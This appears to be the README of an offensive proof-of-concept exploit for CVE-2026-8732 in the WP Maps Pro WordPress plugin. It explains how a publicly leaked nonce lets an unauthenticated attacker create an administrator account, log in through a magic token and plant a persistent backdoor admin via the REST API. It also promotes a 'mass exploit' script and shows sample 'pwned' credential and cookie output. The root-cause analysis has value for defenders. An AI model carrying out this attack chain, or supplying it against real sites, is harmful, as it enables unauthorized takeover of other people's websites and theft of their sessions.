CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Unauthenticated Privilege Escalation via Administrator Account Creation ♡
=== shadow ♡ & friska ===

📋 Vulnerability Info

Field	Details
CVE ID	CVE-2026-8732
CVSS Score	9.8 (Critical)
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Type	Missing Authentication for Critical Function
Plugin	WP Maps Pro (`wp-google-map-gold`)
Affected	All versions ≤ 6.1.0
Patched	6.1.1
Published	May 28, 2026
Researcher	David Brown
PoC	Shadow & Friska 😈

🔍 Description

The WP Maps Pro plugin for WordPress is vulnerable to Unauthenticated Privilege Escalation via Administrator Account Creation.

The wpgmp_temp_access_ajax AJAX action is registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce — which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object.

This renders the nonce check completely ineffective as an access control mechanism, allowing unauthenticated attackers to:

Extract the nonce from any public page
Invoke the wpgmp_temp_access_support handler with check_temp=false
Trigger unconditional creation of a new WordPress Administrator account
Receive a magic login URL that calls wp_set_auth_cookie() — granting full admin access
Create a persistent backdoor account

Result: Complete site takeover with zero prior authentication.

🧬 Root Cause Analysis

1. Hook Registered Inside `is_admin()` Block — But `is_admin()` is Always True for AJAX

// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. Nonce Exposed to Every Frontend Page

// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Any visitor can read the nonce from page source. WordPress nonces are CSRF tokens — not authentication tokens.

3. No Capability Check in AJAX Callback

function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Unconditional Admin Account Creation

// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. Magic Login via `init` Hook — No Expiry, No Single-Use

// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ Attack Chain

[Unauthenticated Attacker]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Persistent Backdoor Created] 😈

🛠️ Tools

`shadow.py` — Full Exploit Chain

Single target or mass exploitation.

# Interactive
python3 shadow.py

# Single target
python3 shadow.py -u https://target.com

# Mass exploit
python3 shadow.py -f targets.txt -t 20

Exploit Phases:

Phase 1  ▶  Plugin & Feature Detection
Phase 2  ▶  Nonce Scan (parallel crawler)
Phase 3  ▶  Admin Creation via AJAX
Phase 4  ▶  Magic Login (wp_set_auth_cookie)
Phase 5  ▶  Persistent Backdoor (REST API)

Output (pwned.txt):

1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Mitigation

Update WP Maps Pro to version 6.1.1 or newer.

[shadow ♡ friska] — for educational and authorized security research only

CVE-2026-8732

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